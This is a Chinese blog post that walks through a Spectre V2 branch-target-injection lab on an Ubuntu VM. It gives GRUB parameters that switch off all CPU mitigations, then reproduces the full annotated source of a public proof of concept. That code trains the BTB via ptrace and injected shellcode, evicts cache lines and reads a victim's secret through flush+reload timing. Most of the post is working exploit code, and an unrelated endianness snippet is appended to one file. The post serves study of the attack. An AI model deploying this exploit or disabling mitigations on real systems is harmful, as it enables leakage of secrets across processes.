其他分享
首页 > 其他分享> > Spectre V2 理论与实践

Spectre V2 理论与实践

作者:互联网

检测系统是否存在Spectre相关漏洞

环境: VMWare Ubuntu18.04

使用spectre-meltdown-checker程序进行检测:

./spectre-meltdown-checker.sh

看到显示存在缓解措施,根据参考[1]中的方法禁用spectre的补丁
(因为在硬件漏洞是没法直接修复硬件,只能在软件上采取一定的缓解措施):

//修改内核启动参数
gedit /etc/default/grub
//在 GRUB_CMDLINE_LINUX= 此行最后加入下面的参数:
//noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
//重新生成 grub.cfg 文件
grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg
grub2-mkconfig -o /boot/grub2/grub.cfg
//重启系统
systemctl reboot

再次检测spectre V2状态,看到vlunerable:
在这里插入图片描述

执行Spectre V2攻击

攻击代码见参考[2],代码对应的分析见[3]:

https://github.com/qiutianshu/spectre.git
cd spectre
make

本文使用的是VMWare Ubuntu 18.04,make时报错:
在这里插入图片描述
解决方法参考[4]:

//修改Makefile文件,在GNU一行将 -fno-pie改为 -no-pie
gedit Makefile

再次make,根据警告信息将attack.c中ld修改为d,即可make成功:
在这里插入图片描述

//开启受害者进程: 
./victim your_secret
//实施探测: 
bash start.sh

攻击结果如下,出现了乱码,与预期结果不符。
在这里插入图片描述
暂时还没有找到什么原因(待补充。。。)

Spectre V2原理分析

Spectre V2:branch target injection 的攻击目标是BTB(branch target buffer),它利用了处理器执行间接跳转时的推测执行,当跳转的目标地址不在Cache中、需要从内存中读取时,就会执行分支地址预测,使用BTB预测当前间接跳转指令对应的目标地址
这存在的问题是:同一个处理器的不同应用程序共用一个BTB,攻击者通过用户态程序执行间接跳转指令来训练BTB,从而使同一个处理器上运行的Linux内核运行间接跳转指令时,分支预测器会被误导跳转到攻击者设计的一个特定地址上,运行攻击者设计的程序。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

Spectre V2 attack 代码分析

victim.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "common.h"

//Flush+Reload中两个进程之间共享一片内存区域(victim与attacker均可访问),victim通过预测执行将secret字符映射为共享内存的命中位置,而后attack探测出这个命中位置进而还原出secret。
//这个区域可以建立在系统的共享库中,这里为了清晰讲解攻击原理,直接在victim的可执行文件的.rodata段插入了一个64Kb的ProbeTable数组(256个ascii字符 × 步长256)。
__attribute__((section(".rodata.transmit"), aligned(0x10000))) const char ProbeTable[0x10000] = {'x'};       //64Kb __attribute__((constructor))在main函数前被调用
__attribute__((constructor)) void init() {
    int i;
    for (i = 0; i < sizeof(ProbeTable)/0x1000; i++)
    	//volatile确保本条指令不会因编译器优化而省略
        *(volatile char *) &ProbeTable[i*0x1000];
}

//在victim中手动编写gadget,在sprintf前攻击者可以控制rdx使其指向secret
__asm__(".text\n.globl gadget\ngadget:\n"       //编到.text段,导出gadget符号
        "xorl %eax, %eax\n"                     //清空eax
        "movb (%rdx), %ah\n"                    //rdx可以被攻击者控制
        "movl ProbeTable(%eax), %eax\n"         //访存
        "retq\n");

char *banner = "  oggsa v1.0";
char secret[128]={'x'};

int main(int argc, char *argv[]){
    int server_sockfd, client_sockfd;
    struct sockaddr_in server_address;
    struct sockaddr_in client_address;
    int client_len;
    char buf[32];
    char send[32];

    if(argc != 2){
        fprintf(stderr, "Usage: victim secret");
        exit(EXIT_FAILURE);
    }

    strcpy(secret, argv[1]);           //拷贝机密字符串
    //socket套接字:使主机的进程间可以互相通信。套接字地址:主机IP-端口对。
    // socket(AF_INET, SOCK_STREAM, 0)表示创建一个套接字
    //AF_INET为IPV4地址族,SOCK_STREAM指流式套接字,0不指定协议类型,返回句柄
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    //htons():将主机字节顺序转换为网络字节顺序
    server_address.sin_port = htons(8888);
    //htonl():将主机的无符号长整形数转换成网络字节顺序,INADDR_ANY默认0.0.0.0
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
	
	//bind():将一个本地地址和一个套机口捆绑
	//int bind( int sockfd , const struct sockaddr * my_addr, socklen_t addrlen);
    bind(server_sockfd, &server_address, sizeof(server_address));
    listen(server_sockfd, 5);
	
	//以下代码的功能:victim接受server_sockfd连接并创建套接口client_fd -> 读client_fd数据到buf -> buf写入a -> 将a写入send -> send写入client_sockfd
	//即:victim通过套接字与攻击者attack进行简单的通信,victim接收attack发过来的字符串,提取其中的整数并将整数格式化为字符串返回给attack。
    while(1){
        long a;
        //accept():在一个套接口接受的一个连接,从等待连接队列中抽取第一个连接并创建一个同类型套接口,返回句柄
        client_sockfd = accept(server_sockfd, &client_address, (socklen_t*)&client_len);
        //read():返回读取的字节数。
        //ssize_t read(int fd, void *buf, size_t count);
        while(read(client_sockfd, buf, 32)){
        	//从client_sockfd读取字节数不为0时
        	//sscanf():将buf中的数据按格式读入a所在地址中
            sscanf(buf, "%ld\n", &a);
            //sprint():将a中的数据按格式写入send中
            sprintf(send, "%ld\n", a);
            //write():从指针buf指向的内存空间写入count个字节到fd所指的文件内。
            //size_t write (int fd,const void * buf,size_t count);
            write(client_sockfd, send, 16);
        }
        close(client_sockfd);
    }
    close(server_sockfd);
    exit(EXIT_SUCCESS);
}

attack.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <x86intrin.h>
#include "common.h"


char hint[256] = {'x'};

/**
 * 参数:victim文件名、secret地址(0x6310e0)、信息长度、THRESHOLD
*/
int main(int argc, char *argv[]){
    int client_fd;
    struct sockaddr_in client_address;
    int result;
    int index,ch, max;
    int fd, i, j;
    unsigned secret, length, end;
    char buf[32];
    char addr[32];
    char *exe;
    char *mm;
    char *address;

    if(argc != 5){
        fprintf(stderr, "error in %s, lines %d", __FILE__, __LINE__);
        exit(EXIT_FAILURE);
    }

    exe = argv[1];                                      //victim
    secret = get_long(argv[2]);
    length = get_long(argv[3]);
    THRESHOLD = get_long(argv[4]);
    end = secret + length;

    printf("Secret offset: %x, length: %d\nfile:%s, THRESHOLD:%d\n", secret, length, exe, THRESHOLD);

    fd = open(exe, O_RDONLY, 0666);
    //使用mmap将正在运行的victim的ProbeTable映射到attack进程(只读)
    mm = mmap(NULL, 0x10000, PROT_READ, MAP_SHARED, fd, 0x20000);    //victim文件偏移0x20000处只读共享映射到进程中
    if(mm == MAP_FAILED){
        perror("mmap");
        exit(EXIT_FAILURE);
    }
	//attacker创建套接字与victim通信
    client_fd = socket(AF_INET, SOCK_STREAM, 0);
    client_address.sin_family = AF_INET;
    client_address.sin_port = htons(8888);
    client_address.sin_addr.s_addr = inet_addr("127.0.0.1");
    result = connect(client_fd, &client_address, sizeof(client_address));
    if(result == -1){
        perror("net connect");
        exit(EXIT_FAILURE);
    }

	//intial:end = secret + length
    for(;secret < end; secret++){
        memset(hint, '\0', sizeof(hint));
        max = 0;
        for(;;){
            for(i = 0; i < 8; i++){
            	//sprint():将secret(对应地址)中的数据按格式写入addr中	
                sprintf(addr, "%d\n", secret);                  //控制rdx = secret
                //将addr中的数据写入client_fd
                write(client_fd, addr, 32);
                //从client_fd读取数据
                read(client_fd, buf, 32);
                memset(addr, '\0', 32);
            }

            for(j = 0; j < 256; j++){
            	//对0-255简单随机
                index = (j * 167 + 13) & 255; 
                //监测共享ProbeTable中的数据,在cache中probe()函数返回1
                address = &mm[index * 0x100];
                if(probe(address)){
                    hint[index]++;
                    //max保存多次尝试中index对应地址cache hit的最多的次数,对应index即为secret的ascii值。
                    if(hint[index] > max){
                        max = hint[index];
                        ch = index;
                    }
                }
            }
            if(max > 4)
                break;
        }
        printf("%c", (char)ch);
    }
   printf("\n");
    close(client_fd);
    exit(EXIT_SUCCESS);
}

train.c

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h> /*ORIG_EAX*/
#include <sys/reg.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <semaphore.h>
#include <x86intrin.h>
#include "common.h"

//Linux将进程绑定cpu以提高性能
void setcpu(int cpu){
	//声明一个cpu_set_t,cpu_set_t其实是一个bit串,每个bit表示进程是否要与某个CPU核绑定
    cpu_set_t mask;
    //CPU_ZERO():初始化bit数
    CPU_ZERO(&mask);
    //根据输入的cpu序号设置cpu_set_t中相应的bit位
    CPU_SET(cpu, &mask);
    //sched_setaffinity()将进程绑定CPU
    sched_setaffinity(getpid() , sizeof(mask), &mask);
}

/**
 * 参数:victim文件名、sprintf@plt地址(400970)、gardget地址(400cc4)
*/
void trainer(char *exe, unsigned plt, unsigned gadget, unsigned *got,int cpu){
    pid_t pid;
    int res;
    int stat;
    unsigned longs, got_out; 
    unsigned long ip;   
    struct user_regs_struct regs;

	//fork()通过系统调用创建一个与原有进程相似的进程(运行的内容与位置均一致),并把原来进程的所有值都复制到新的新进程中。
	//在父进程中,fork返回新创建子进程的进程ID;在子进程中,fork返回0;出现错误,fork返回-1;
    pid = fork();
    if(pid == -1){
        error_log("fork");
    }
	//如果在子进程中
    if(pid == 0){
    	//将子进程绑定cpu(查看源代码shell文件中的调用没有设置cpu参数,应该默认0)
        setcpu(cpu);                                //设置子进程的cpu亲和度
        //ptrace():系统调用提供一个进程(tracer)跟踪另一个进程(tracee),可以检查和改变tracee进程的内存和寄存器数据
        //long ptrace(enum _ptrace_request request,pid_t pid,void * addr ,void *data);
        res = ptrace(PTRACE_TRACEME, 0, 0, 0);
        if(res == -1){
            error_log("ptrace");
        }
        //execl():进程替换函数
        //int execl(const char *path, const char *arg, ...);
        execl(exe, exe, "qiutianshu", (char*)0);    //子进程中启动victim
    }

    waitpid(pid, &stat, 0);                         //捕获子进程发出的SIGTRAP信号,获得子进程的控制权
    ptrace(PTRACE_GETREGS, pid, 0, &regs);          //读取17个寄存器的值
    ip = regs.rip;                                  //当前指令寄存器的位置,这里只考虑x86_64的情况
    longs = ptrace(PTRACE_PEEKDATA, pid, plt+2, 0); //读取该间接跳转的operand值
    got_out = longs + plt + 6;                      //got表项地址,这里可能需要修改
    *got = got_out;
    
    ptrace(PTRACE_POKEDATA, pid, got_out, gadget);     //gadget地址写入got位置
    ptrace(PTRACE_POKEDATA, pid, gadget, 0xc3c3c3c3);  //gadget地址处写入连续四个ret指令

    union u
    {
        unsigned long val;
        char shellcode[16];                                    
    }loop;
    
    sprintf(loop.shellcode, "\xb8%c%c%c", (plt & 0xff), (plt & 0xff00) >> 8, (plt & 0xff0000) >> 16);              // mov eax, sprintf@plt
    ptrace(PTRACE_POKEDATA, pid, ip, loop.val);       
    memcpy(loop.shellcode, "\x00\xff\xd0\xeb",4);       //call eax
    ptrace(PTRACE_POKEDATA, pid, ip + 4, loop.val);
    memcpy(loop.shellcode, "\xfc\x90\x90\x90",4);       //jmp back,nop,nop,nop
    ptrace(PTRACE_POKEDATA, pid, ip + 8, loop.val);
    ptrace(PTRACE_DETACH, pid, 0, 0);                   //调试进程分离,子进程独立运行
}

void evictor(void * got){
    pid_t pid;
    pid = fork();
    if(pid == 0){
        for(;;)
            evict(got);
    }

}

/**
 * 接收参数:victim文件,sprintf@plt(0x4007a0),gadget(0x400aa5)地址
*/
int main(int argc, char *argv[]){
    unsigned plt, gadget, got;
    char *exe;
    int i;

    if(argc != 4){
        fprintf(stderr, "Usage: %s file strcat@plt gadget", argv[0]);
        exit(EXIT_FAILURE);
    }
    exe = argv[1];                           //victim
    plt = get_long(argv[2]);                 //sprinf@plt
    gadget = get_long(argv[3]);              //gadget

    for(i = 0; i < 8; i++){
        trainer(exe, plt, gadget, &got, i);  //训练indirect jump
        printf("cpu%d: got is %x\n", i, got);
    }

    evictor((void *)got);                    //刷新各级缓存的got数据
    for(;;)pause();                          //父进程停在这里
    exit(EXIT_SUCCESS);
}

common.h

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>

//#define THRESHOLD 350

int THRESHOLD;

unsigned long get_long(char *input){
    char *end;
    int res = strtoul(input, &end, 0);
    if(*end != '\0'){
        fprintf(stderr, "%s translate error!", input);
        exit(EXIT_FAILURE);
    }
    return res;
}

void error_log(char *reason){
    fprintf(stderr, "%s failed ", reason);
    exit(EXIT_FAILURE);
}

//驱逐got表项
void evict(void *ptr) {
    static char *space = NULL;
    if (space == NULL) {
        space = mmap(NULL, 0x4000000, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if(space == MAP_FAILED){
            perror("mmap");
            exit(EXIT_FAILURE);
        }
    }

    unsigned long off = ((unsigned long) ptr) & 0xfff;          //取低12位,确定cache-set
    volatile char *ptr1 = space + off;
    volatile char *ptr2 = ptr1 + 0x2000;                        //两次刷新
    for (int i = 0; i < 4000; i++) {
        *ptr2;
        *ptr1;                  //替换got所在的cache-set
        ptr2 += 0x1000;
        ptr1 += 0x1000;
    }
}

//计时
int probe(char *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
                    " mfence\n"
                    " lfence\n"
                    " rdtsc\n"
                    " lfence\n"
                    " movl %%eax, %%esi \n"
                    " movl (%1), %%eax\n"
                    " lfence\n"
                    " rdtsc\n"
                    " subl %%esi, %%eax \n"
                    " clflush 0(%1)\n"
                    : "=a" (time)
                    : "c" (adrs)
                    : "%esi", "%edx");
                    return (time < THRESHOLD);
}

int probetime(void *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
                    " mfence\n"
                    " lfence\n"
                    " rdtsc\n"
                    " lfence\n"
                    " movl %%eax, %%esi \n"
                    " movl (%1), %%eax\n"
                    " lfence\n"
                    " rdtsc\n"
                    " subl %%esi, %%eax \n"
                    " clflush 0(%1)\n"
                    : "=a" (time)
                    : "c" (adrs)
                    : "%esi", "%edx");
                    return time;
}

static inline void flush(void *ptr) {
    __asm__ volatile("clflush (%0)" : : "r" (ptr));
}

common.c

#include <stdio.h>
#include <stdlib.h>

unsigned long get_long(char *input){
    char *end;
    int res = strtoul(input, &end, 0);
    if(*end != '\0'){
        fprintf(stderr, "%s translate error!", input);
        exit(EXIT_FAILURE);
    }
    return res;
}

void error_log(char *reason){
    fprintf(stderr, "%s failed in %s, line:%d", reason, __FILE__, __LINE__);
    exit(EXIT_FAILURE);
}
#include "stdio.h"
int test1_endian() {
int i = 1;
char *a = (char *)&i;
if (*a == 1)printf("小端\n");
else printf("大端\n");
return 0;
}
int main(){
    test1_endian();
    return 0;
}

参考

[1] 禁用spectre缓解措施:https://konata.tech/2021/11/13/disableMitigations/#VMware-ESXi
[2] 攻击代码:https://github.com/qiutianshu/spectre
[3] 原理讲解1:https://bbs.pediy.com/thread-254288.htm 原理讲解2:https://zhuanlan.zhihu.com/p/114680178
[4] Ubuntu make报错:https://blog.csdn.net/weixin_43207025/article/details/106815625
[5] 其他BranchPoison代码:https://gitee.com/hope2hope/SpectreV2-BranchPoison
[6] X86汇编与机器码在线转换:https://defuse.ca/online-x86-assembler.htm#disassembly

标签:__,int,pid,实践,Spectre,char,V2,client,include
来源: https://blog.csdn.net/diamond_biu/article/details/123478139